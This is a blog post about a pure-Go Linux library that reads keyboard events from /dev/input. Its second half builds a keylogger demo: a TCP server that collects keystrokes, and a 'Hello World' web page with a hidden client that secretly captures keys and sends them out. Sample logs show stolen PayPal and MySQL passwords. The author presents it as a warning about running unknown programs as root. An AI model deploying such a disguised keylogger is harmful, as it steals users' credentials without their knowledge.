Sniffing global keyboard events in Go

Marin Basic
3 min readSep 27, 2015

--

This example is based on linux systems and reference is “input.h” file that can be found here Linux/include/uapi/linux/input.h

Some packages I found on github, heavily depends on C library, so I tried to write my own implementation, but in pure go.

So, this package is written in pure go and has no dependencies :)

Here is simple example:

package mainimport ( "fmt" "github.com/MarinX/keylogger")
func main() {
devs, err := keylogger.NewDevices() if err != nil { fmt.Println(err) return }for _, val := range devs { fmt.Println("Id->", val.Id, "Device->", val.Name)}//our keyboard..on your system, it will be diffrentrd := keylogger.NewKeyLogger(devs[3])in, err := rd.Read() if err != nil { fmt.Println(err) return }for i := range in {
//listen only key stroke event
if i.Type == keylogger.EV_KEY { fmt.Println(i.KeyString()) }}}

Explanation

Everything is file! On your linux system, you can read keyboard events in /dev/input/eventID but output is binary structure input_event that is defined in “input.h” header file. We can rewrite this C structure in go and convert binary output into our built structure called InputEvent.

Binary function goes like:

binary.Read(bytes.NewBuffer(tmp), binary.LittleEndian, &event)

First parameter is interface for reader and we pass tmp([]byte) that is raw output of /dev/input/eventID file and “event” is our Go structure InputEvent.

According to the documentation, InputEvent.Code is what we need to map to keycode mapper and InputEvent.Type can tell us if user pressed, hold or release key.

(putting my black hat on)…lets see how dangerous this can be and write keylogger for linux

We can create TCP server that accepts incoming connections and write/append message to file. Every connection has unique ID and that is remotes IP address.

Our client can be a simple web page or some kind of administration tool that has TCP client to our server and our sniffing tool.

Simple TCP server:

l, err := net.Listen("tcp", ":3333")if err != nil {  fmt.Println(err)  return}buffer := make([]byte, 256)for {  conn, err := l.Accept()  if err != nil {    fmt.Println(err)  }fmt.Println("Got client", conn.RemoteAddr())fd, err := os.OpenFile(conn.RemoteAddr().String(), os.O_CREATE|os.O_RDWR|os.O_APPEND, 0660)if err != nil {  fmt.Println(err)  continue}defer fd.Close()for {  n, err := conn.Read(buffer)  if err != nil {    fmt.Println(err)    continue  }  fd.Write(buffer[0:n])}}

For the client lets go with the simple “Hello World” page for this demo purpose and add our “nasty” code.

Client:

package mainimport ("fmt""github.com/MarinX/keylogger""net""net/http")func main() {go Sniff(NewClientConn())http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {w.Write([]byte("Hello World"))})
http.ListenAndServe(":9090", nil)}func NewClientConn() net.Conn {conn, err := net.Dial("tcp", ":3333")if err != nil { panic(err)}return conn}func Sniff(c net.Conn) {devs, err := keylogger.NewDevices()if err != nil { fmt.Println(err) return}...............

When you start the program, everything is looking good and perfect, but after some time, look at your server side.

nl_shift12rightenterpaypal.comrightentersecretemailr_altvgmail.comtabsupperpassword123enterl_altdownupl_ctrll_ctrldownl_ctrll_ctrl

Oh no! Someone is logging into his paypal account :(

You can also make this as a service (no X deps) and watch poor system administrator trying to login into database.

space-alentermysql-uspacerootspace-hspacelocalhostspace-pentersupperpasswordenterexitenterl_ctrlpgupl_ctrl

As you can see, you are vulnerable on Linux also, so, think twice when you try to run unknown program as root!

--

--